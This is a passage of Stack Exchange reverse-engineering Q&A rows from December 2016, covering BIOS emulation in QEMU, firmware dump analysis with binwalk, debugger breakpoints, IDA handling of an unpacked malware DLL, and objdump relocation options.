  <row Id="14176" PostTypeId="1" CreationDate="2016-12-15T04:00:17.857" Score="0" ViewCount="157" Body="&lt;p&gt;I'm hacking a thinkpad BIOS to remove the card whitelist.&#xA;I run the bios firmware in qemu and debug with IDApro.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.\qemu-system-x86_64.exe -m 4096M -bios D:\W25Q32BV\old.bin -s -S&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, the code run into a infinite loop finally. Before run into the infinite loop, it tried to check if the memory is available. But the memory address is confusing. At this phase, the cpu is in protected mode with paging disabled, I know that &lt;code&gt;0xFEF00000&lt;/code&gt; is just the physical address for a device on the mainboard. But I don't know which device &lt;code&gt;0xFEF00000&lt;/code&gt; points to and why not available.&#xA;I want to know if there is an easier and smarter way to find the whitelist or make the code run normally until it check the whitelist.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dzerY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dzerY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GDB&amp;gt;info registers&#xA;EAX=5a5a5ad0 EBX=00400000 ECX=00010000 EDX=00000000&#xA;ESI=000000ff EDI=fef00004 EBP=fffffaba ESP=00000028&#xA;EIP=fffffe96 EFL=00000006 [-----P-] CPL=0 II=0 A20=1 SMM=0 HLT=0&#xA;ES =0018 00000000 ffffffff 00cf9300 DPL=0 DS   [-WA]&#xA;CS =0010 00000000 ffffffff 00cf9b00 DPL=0 CS32 [-RA]&#xA;SS =0018 00000000 ffffffff 00cf9300 DPL=0 DS   [-WA]&#xA;DS =0018 00000000 ffffffff 00cf9300 DPL=0 DS   [-WA]&#xA;FS =0018 00000000 ffffffff 00cf9300 DPL=0 DS   [-WA]&#xA;GS =0018 00000000 ffffffff 00cf9300 DPL=0 DS   [-WA]&#xA;LDT=0000 00000000 0000ffff 00008200 DPL=0 LDT&#xA;TR =0000 00000000 0000ffff 00008b00 DPL=0 TSS32-busy&#xA;GDT=     ffffff60 0000003f&#xA;IDT=     00000000 0000ffff&#xA;CR0=00000013 CR2=00000000 CR3=00000000 CR4=00000600&#xA;DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 &#xA;DR6=00000000ffff0ff0 DR7=0000000000000400&#xA;EFER=0000000000000000&#xA;FCW=037f FSW=0000 [ST=0] FTW=ff MXCSR=00001f80&#xA;FPR0=0000000000000000 0000 FPR1=0000000000000400 0000&#xA;FPR2=00000000fef40000 0000 FPR3=0000000000000000 0000&#xA;FPR4=0000000000000000 0000 FPR5=0000000000000000 0000&#xA;FPR6=000000000113326a 0000 FPR7=00000000fffffa4d 0000&#xA;XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000&#xA;XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000&#xA;XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000&#xA;XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18446" LastEditorUserId="53" LastEditDate="2016-12-15T07:53:31.110" LastActivityDate="2016-12-16T09:57:42.650" Title="BIOS code failed to check device and run into a infinite loop" Tags="|ida|disassembly|bios|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14177" PostTypeId="1" AcceptedAnswerId="14181" CreationDate="2016-12-15T05:39:50.767" Score="1" ViewCount="2004" Body="&lt;p&gt;I'm trying to learn firmware analysis. The device I chosen was my Motorola SBG901 modem. I managed to dump the memory contents via JTAG using the FlashcatUSB adapter. The memory dump is about 8MB in size. Now this is where I am lost I'm trying to analyze the dump. But I don't know where to start. I have used binwalk on it which I believe brought back false positives as the output was as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;67434         0x1076A         Certificate in DER format (x509 v3), header length: 4, sequence length: 803&#xA;68243         0x10A93         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024&#xA;70361         0x112D9         Certificate in DER format (x509 v3), header length: 4, sequence length: 808&#xA;71175         0x11607         Certificate in DER format (x509 v3), header length: 4, sequence length: 988&#xA;81036         0x13C8C         Certificate in DER format (x509 v3), header length: 4, sequence length: 866&#xA;81908         0x13FF4         Certificate in DER format (x509 v3), header length: 4, sequence length: 983&#xA;82897         0x143D1         Certificate in DER format (x509 v3), header length: 4, sequence length: 864&#xA;89278         0x15CBE         Certificate in DER format (x509 v3), header length: 4, sequence length: 803&#xA;90087         0x15FE7         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024&#xA;92205         0x1682D         Certificate in DER format (x509 v3), header length: 4, sequence length: 808&#xA;93019         0x16B5B         Certificate in DER format (x509 v3), header length: 4, sequence length: 988&#xA;102880        0x191E0         Certificate in DER format (x509 v3), header length: 4, sequence length: 866&#xA;103752        0x19548         Certificate in DER format (x509 v3), header length: 4, sequence length: 983&#xA;104741        0x19925         Certificate in DER format (x509 v3), header length: 4, sequence length: 864&#xA;111122        0x1B212         Certificate in DER format (x509 v3), header length: 4, sequence length: 803&#xA;111931        0x1B53B         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024&#xA;114049        0x1BD81         Certificate in DER format (x509 v3), header length: 4, sequence length: 808&#xA;114863        0x1C0AF         Certificate in DER format (x509 v3), header length: 4, sequence length: 988&#xA;124724        0x1E734         Certificate in DER format (x509 v3), header length: 4, sequence length: 866&#xA;125596        0x1EA9C         Certificate in DER format (x509 v3), header length: 4, sequence length: 983&#xA;126585        0x1EE79         Certificate in DER format (x509 v3), header length: 4, sequence length: 864&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe binwalk gave false postive output as the dump probably isn't a packed image. I say this because I also ran strings on the dump and received a lot of readable strings a snippet is shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lWkFJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWkFJ.png&quot; alt=&quot;Out from running strings on dump&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm tryring to extract the firmware so I can use QEMU and try to do some vulnerability findings. I'm doing this for knowledge sake but I am inexperience with reading dump files. Can someone point me in the direction that would teach me how to decipher the memory dump and eventually extract the firmware. I really want to learn how to read the dump because I plan to analyze other firmwares hence I want to learn the essentials. For instance I know that there are firmwares that are packed/unpacked and/or encrypted/unencrypted. They usually consist of bootloaders, OS, filesystem, libraries, and apps (such as webserver). Can some point me in the direction of some useful resource that will teach me how to read dump and determine how to get the firmware out with all right files (filesystem, bootloader, apps, etc...)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="18444" LastActivityDate="2017-06-02T21:01:27.087" Title="Memory dump analysis" Tags="|binary-analysis|firmware|memory-dump|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14178" PostTypeId="2" ParentId="14149" CreationDate="2016-12-15T11:14:37.290" Score="2" Body="&lt;p&gt;ODBGScript is a really nice scripting library. &lt;a href=&quot;https://github.com/epsylon3/odbgscript/blob/master/doc/ODbgScript.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/epsylon3/odbgscript/blob/master/doc/ODbgScript.txt&lt;/a&gt; this is the documentation, but a quick google search should give you the library itself.&lt;/p&gt;&#xA;" OwnerUserId="15857" LastActivityDate="2016-12-15T11:14:37.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14180" PostTypeId="2" ParentId="14176" CreationDate="2016-12-15T19:45:23.397" Score="2" Body="&lt;p&gt;This is most likely the Cache-As-RAM (CAR) area, used by the BIOS code before initializing DRAM. The BIOS code is checking that it is usable as RAM (writable and reads back the same value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, it's going to be pretty difficult to use QEMU for running BIOS code, as its emulation is likely to be pretty different from the board the BIOS was written for, so you'll get failures like this all the time.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2016-12-16T09:57:42.650" LastActivityDate="2016-12-16T09:57:42.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14181" PostTypeId="2" ParentId="14177" CreationDate="2016-12-15T19:52:52.740" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I believe binwalk gave false postive output&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is likely the output is not false positive. You can see the strings used in certificates.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For instance I know that there are firmwares that are packed/unpacked and/or encrypted/unencrypted&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the direction you would want to check. Binwalk has an entropy analysis option, and it can display a graph of it. Encrypted or packed files will have high and uniform entropy.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm tryring to extract the firmware so I can use QEMU and try to do some vulnerability findings. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While the CPU architecture might be well-known, device like this will likely have a custom SoC with little to none available documentation. I don't think you will be to do a complete emulation of the device, so static analysis can be a preferred option.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can someone point me in the direction&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you really have JTAG access, you can try dumping RAM, since it may contain unpacked/decrypted code. However, I suspect this is in fact a dump of SPI flash chip. Actual JTAG access may have been disabled by manufacturer.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastEditorUserId="13606" LastEditDate="2016-12-16T10:33:30.327" LastActivityDate="2016-12-16T10:33:30.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14182" PostTypeId="2" ParentId="14159" CreationDate="2016-12-15T20:13:38.097" Score="1" Body="&lt;p&gt;The way I see it, you have three options :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Debug &amp;amp; Disassemble the application in order to figure out which&#xA;function does what, then locate the exchange protocol and packets&#xA;format. Hopefully, you'll be able to find something that looks like a payload/command. This will take a lot of time and efforts, especially if the&#xA;application has been through compiler optimizations or obfuscation.&lt;/li&gt;&#xA;&lt;li&gt;Sniff out the USB traffic - which you already did - and&#xA;reverse the payload format after identifying what data fields belong&#xA;to the USB transfer protocol and which don't. &lt;a href=&quot;http://www.beyondlogic.org/usbnutshell/usb3.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; link&#xA;provides everything you need to know about USB protocols.&lt;/li&gt;&#xA;&lt;li&gt;Invest in a &lt;a href=&quot;https://en.wikipedia.org/wiki/Logic_analyzer&quot; rel=&quot;nofollow noreferrer&quot;&gt;logic analyzer&lt;/a&gt;. It's a miracle machine that can help reverse almost any protocol. If you look at the price range it's quite high for very efficient and professional machines (&lt;a href=&quot;http://cp.literature.agilent.com/litweb/pdf/5990-7513EN.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt;), but you can build your own using an &lt;a href=&quot;http://playground.arduino.cc/Main/LogicAnalyzer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Arduino&lt;/a&gt; or even get a software based one. You also have &lt;a href=&quot;http://openvizsla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenVizsla&lt;/a&gt; which is an open source FPGA based USB logic analyzer/sniffer. Or, you can buy a &lt;a href=&quot;http://www.totalphase.com/products/beagle-usb12/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Beagle USB&lt;/a&gt;, quite pricey but worth it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you go for solution 2, you'll have to separate the signal in time. By that I mean :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;At t0 : Reset the device&lt;/li&gt;&#xA;&lt;li&gt;At t1 : Set the light to RED and sniff&lt;/li&gt;&#xA;&lt;li&gt;At t2 : Reset the device&lt;/li&gt;&#xA;&lt;li&gt;At t3 : Set the light to GREEN and sniff&#xA;So on a so forth ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way you can have time-stamped data which can help you remove the redundant data and only keep the core values (the payload).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2016-12-16T00:08:05.727" LastActivityDate="2016-12-16T00:08:05.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14183" PostTypeId="2" ParentId="14177" CreationDate="2016-12-15T20:39:46.273" Score="2" Body="&lt;p&gt;If you only want the firmware, you can find it in this &lt;a href=&quot;http://sourceforge.net/projects/sbg901.arris/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;.&#xA;And this &lt;a href=&quot;https://wikidevi.com/wiki/Motorola_SURFboard_SBG901&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; might be of use. Apparently the chip on your box is a BCM3361, a MIPS32 according to Broadcom. I think you can emulate it with QEMU, no obvious issues there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your dump is more likely to be a mix of code and data. It's pretty hard to dissociate data from code; you'll have to go in with a substantial entropy analysis (data and code entropy are very different). You can check the different Binwalk options &lt;a href=&quot;https://github.com/devttys0/binwalk/wiki/Usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, the explanations are pretty clear. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2017-06-02T21:01:27.087" LastActivityDate="2017-06-02T21:01:27.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14186" PostTypeId="2" ParentId="14171" CreationDate="2016-12-16T17:41:29.097" Score="3" Body="&lt;p&gt;If your module is a DLL that is loaded dynamically by your executable, then Thread Local Storage won't be initialized on Windows XP for the DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from my &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Ultimate&quot; Anti-Debugging Reference&lt;/a&gt;, section 4, page 25:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;On Windows Vista and later, dynamically-loaded DLLs also support Thread Local Storage. This is in direct contradiction to the existing Portable Executable format documentation, which states that &quot;Statically declared TLS data objects ... can be used only in statically loaded image files. This fact makes it unreliable to use static Thread Local Storage data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2016-12-16T17:41:29.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14187" PostTypeId="1" CreationDate="2016-12-17T09:10:21.090" Score="7" ViewCount="2418" Body="&lt;p&gt;I know how to set conditional breakpoints on a register, but how can I have a breakpoint trigger if a specific value (say, 0x12345678) appears &lt;strong&gt;anywhere&lt;/strong&gt; in the active call stack frame?&lt;/p&gt;&#xA;" OwnerUserId="18473" LastEditorUserId="18473" LastEditDate="2016-12-18T20:26:31.140" LastActivityDate="2016-12-19T19:24:06.737" Title="OllyDbg: How to set a conditional breakpoint for a value anywhere in the stack?" Tags="|ollydbg|debugging|breakpoint|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14190" PostTypeId="1" CreationDate="2016-12-17T17:48:10.240" Score="-3" ViewCount="656" Body="&lt;p&gt;I'm trying to reverse engineer a game with the goal of creating an emulator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know how to get the structure of a network packet of a game whether it is client or server.&#xA;Example (Random) Client -&gt; Server: &lt;code&gt;XX XX XX XX XX XX XX XX XX XX XX XX XX&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure: uint16: 10 - byte: 3 - int16: 300 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to know how to get the type of each byte is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already gathered a few packet structures from publically available repos.&#xA;I want to know how everyone does this? Is there a tool out there that helps with getting structures?&lt;/p&gt;&#xA;" OwnerUserId="18484" LastEditorUserId="2147" LastEditDate="2017-01-15T19:00:57.167" LastActivityDate="2018-03-03T12:01:19.473" Title="How to get Packet Structures" Tags="|packet|struct|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14194" PostTypeId="1" CreationDate="2016-12-18T18:11:35.727" Score="1" ViewCount="910" Body="&lt;p&gt;I am currently analyzing some malware which loads a DLL from an embedded resource and executes it. Normally I would dump the DLL and create a separate database for the DLL. However, I am running into an issue since the unpacker passes a structure to the DLL through DllMain (it still passes three arguments they just mean different things and the DLL accounts for this). The dll will not load properly if it is not loaded by the unpacker since it needs the information contained in this structure in order to run properly and will fail with an error code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is define both the unpacker and the DLL in the same IDB since the DLL is always loaded at the same address I would like to be able to set a breakpoint on DLLMain and then run the unpacker. The unpacker would then decrypt and load the dll at that address and then I would be able to debug it from the DllMain I can do this fine just using the debugger, but I would like to have both the executable and the dll defined in my idb to make analysis easier and so that I can have my comments and other things saved in the IDB. Also the injected code is not analyzed by IDA which makes the disassembly hard to read. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question then is how do I do this? I took a memory snapshot after the dll is loaded, but before it is run and then saved that in a loadable segment, but IDA is not recognizing the file as a DLL. What should I do to get it so IDA recognizes both the embedded DLL and the executable in the same file. The DLL is not identified by IDA as a module or anything since it is not loaded by loadlibrary. I have been searching for hours trying to figure this out without making any decent progress whatsoever. &lt;/p&gt;&#xA;" OwnerUserId="18492" LastActivityDate="2016-12-18T18:51:58.313" Title="IDA Pro Define Injected Code as DLL" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14195" PostTypeId="2" ParentId="14194" CreationDate="2016-12-18T18:51:58.313" Score="1" Body="&lt;p&gt;You need to mark the memory segments you want to be retained as loader segments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hexblog.com/?p=8&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-18T18:51:58.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14196" PostTypeId="1" AcceptedAnswerId="14197" CreationDate="2016-12-18T21:53:27.227" Score="32" ViewCount="9185" Body="&lt;p&gt;I feel dumb for needing to ask, but I've been annoyed by this several times in the past and have yet to come across the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, when rearranging tabs in IDA Pro, I accidentally detach the tab from the main window, leaving it floating in its own window. The problem is that I have no idea how to reattach it, so generally when that happens I have to close it and reopen that view in the main window, which isn't the best solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other programs that do the whole &quot;a tab can be detached as its own window&quot; thing, generally there's something that appears on the main window to signal that's where you need to drag it to to reattach it. Browsers do a slightly different thing in that you just drag the tab back to the tab bar. Neither of those work in IDA, and I can't find anything in the menu.&lt;/p&gt;&#xA;" OwnerUserId="12903" LastActivityDate="2019-08-23T17:27:26.857" Title="How to reattach tabs in IDA?" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14197" PostTypeId="2" ParentId="14196" CreationDate="2016-12-18T23:26:35.703" Score="46" Body="&lt;p&gt;Well, I managed to figure it out. If you click on the small gray bar just below the titlebar, you can drag it back to the main window. If you hover over the gray bar, it will tell you as much, but the fact that it's just below the titlebar (which is what you'd normally click to drag the window around), it's easy to miss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;If you want to reset all tabs to their locations. Just click Window -&gt; reset desktop. This is current at least in version 7.2 . &lt;/p&gt;&#xA;" OwnerUserId="12903" LastEditorUserId="6992" LastEditDate="2019-08-23T17:27:26.857" LastActivityDate="2019-08-23T17:27:26.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14199" PostTypeId="2" ParentId="14187" CreationDate="2016-12-19T19:24:06.737" Score="5" Body="&lt;p&gt;Not for Ollydbg, but I wrote a plugin called &lt;a href=&quot;https://github.com/mrexodia/StackContains&quot; rel=&quot;noreferrer&quot;&gt;StackContains&lt;/a&gt; for &lt;a href=&quot;http://x64dbg.com&quot; rel=&quot;noreferrer&quot;&gt;x64dbg&lt;/a&gt; that allows you to check if a value is present in the check during conditional tracing. This allows you to break as soon as the value becomes visible on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJ0Fh.png&quot; alt=&quot;stack.contains&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will break as soon as the value &lt;code&gt;00E60000&lt;/code&gt; appears on the stack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vckBm.png&quot; alt=&quot;break&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be easy enough to extend this plugin and tailor it to your needs...&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2016-12-19T19:24:06.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14200" PostTypeId="2" ParentId="13902" CreationDate="2016-12-19T22:26:53.153" Score="3" Body="&lt;p&gt;The firmware file is a raw binary image probably ment to be directly written to flash.&#xA;It is uncompressed.&#xA;To load it into IDA simply select ppc processor (PowerQUICC is a type of Power Architecture and thus is supported by the ppc disassembler)&#xA;As for the map file - it's debug info. &lt;a href=&quot;https://en.wikipedia.org/wiki/MAP_(file_format)&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; explains..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Debugging maps. These are typically plain text files that indicate the relative offsets of functions for a given version of a compiled binary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in order to properly view it in IDA you must find the correct loading address (many ways to find it, read about the processor memory map).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;keep in mind that since this is a raw binary image IDA does a poor job decompiling it by itself (no headers to tell it where the code is..).&#xA;You need to help (preferably) using IDAPython to manually define the function.&#xA;The functions can be identified  by the call and return convention:&#xA;one possible calling convention for this architecture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stwu      r1, -0x18(r1)&#xA;mflr      r0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*0x18 will change from function to function based on the required stack size.&#xA;and return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12556" LastActivityDate="2016-12-19T22:26:53.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14202" PostTypeId="1" CreationDate="2016-12-20T04:19:46.870" Score="5" ViewCount="4110" Body="&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; man page says,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-r&#xA;--reloc&#xA;      Print the relocation entries of the file.  If used with -d or -D,&#xA;      the relocations are printed interspersed with the disassembly.&#xA;&#xA;-R&#xA;--dynamic-reloc&#xA;      Print the dynamic relocation entries of the file. This is only&#xA;      meaningful for dynamic objects, such as certain types of shared&#xA;      libraries. As for -r, if used with -d or -D, the relocations are&#xA;      printed interspersed with the disassembly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody please explain how do these two options differ? What's the difference between relocation and dynamic relocation entries?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="53" LastEditDate="2016-12-20T09:16:06.803" LastActivityDate="2016-12-20T18:09:16.630" Title="Difference between objdump -r and -R switches" Tags="|binary-analysis|objdump|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14204" PostTypeId="2" ParentId="14202" CreationDate="2016-12-20T16:28:18.467" Score="3" Body="&lt;h2&gt;Ordinary object file&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As the notes say, the &lt;code&gt;-R&lt;/code&gt; is only meaningful for dynamic objects.  For ordinary &lt;code&gt;.o&lt;/code&gt; files from simple programs, the &lt;code&gt;-r&lt;/code&gt; will show the relocation entries.  As an example, this simple program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main() {&#xA;    puts(&quot;Hello, world!\&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can produce an object file with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cc -Wall -Wextra -pedantic -std=c11   -c -o sample.o sample.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Produces this output when we run the command &lt;code&gt;objdump -r sample.o&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sample.o:     file format elf64-x86-64&#xA;&#xA;RELOCATION RECORDS FOR [.text]:&#xA;OFFSET           TYPE              VALUE &#xA;0000000000000005 R_X86_64_32       .rodata&#xA;000000000000000a R_X86_64_PC32     puts-0x0000000000000004&#xA;&#xA;&#xA;RELOCATION RECORDS FOR [.eh_frame]:&#xA;OFFSET           TYPE              VALUE &#xA;0000000000000020 R_X86_64_PC32     .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is an x86_64 Linux box.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;objdump -R sample.o&lt;/code&gt; we get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump: sample.o: not a dynamic object&#xA;objdump: sample.o: Invalid operation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is expected since this is not a shared library.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Shared library&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By contrast, we can use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int hello() {&#xA;    return puts(&quot;Hello, world!\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And create a library with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -Wall -Wextra -pedantic -std=c11 -fPIC -shared -o libsample.so sample.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the &lt;code&gt;-R&lt;/code&gt; makes sense:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -R libsample.so &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libsample.so:     file format elf64-x86-64&#xA;&#xA;DYNAMIC RELOCATION RECORDS&#xA;OFFSET           TYPE              VALUE &#xA;0000000000200df8 R_X86_64_RELATIVE  *ABS*+0x0000000000000660&#xA;0000000000200e00 R_X86_64_RELATIVE  *ABS*+0x0000000000000620&#xA;0000000000200e10 R_X86_64_RELATIVE  *ABS*+0x0000000000200e10&#xA;0000000000200fd8 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable&#xA;0000000000200fe0 R_X86_64_GLOB_DAT  __gmon_start__&#xA;0000000000200fe8 R_X86_64_GLOB_DAT  _Jv_RegisterClasses&#xA;0000000000200ff0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable&#xA;0000000000200ff8 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5&#xA;0000000000201018 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Playing games&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are two other utilities: &lt;code&gt;readelf&lt;/code&gt; and &lt;code&gt;elfedit&lt;/code&gt; that allows us to look at and modify the binary in more detail.  If we create a shared object as shown above, but on a 32-bit Linux machine and then run &lt;code&gt;readelf -a libsample.so&lt;/code&gt; the output is long, but starts with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              DYN (Shared object file)&#xA;  Machine:                           Intel 80386&#xA;  Version:                           0x1&#xA;  Entry point address:               0x3f0&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section 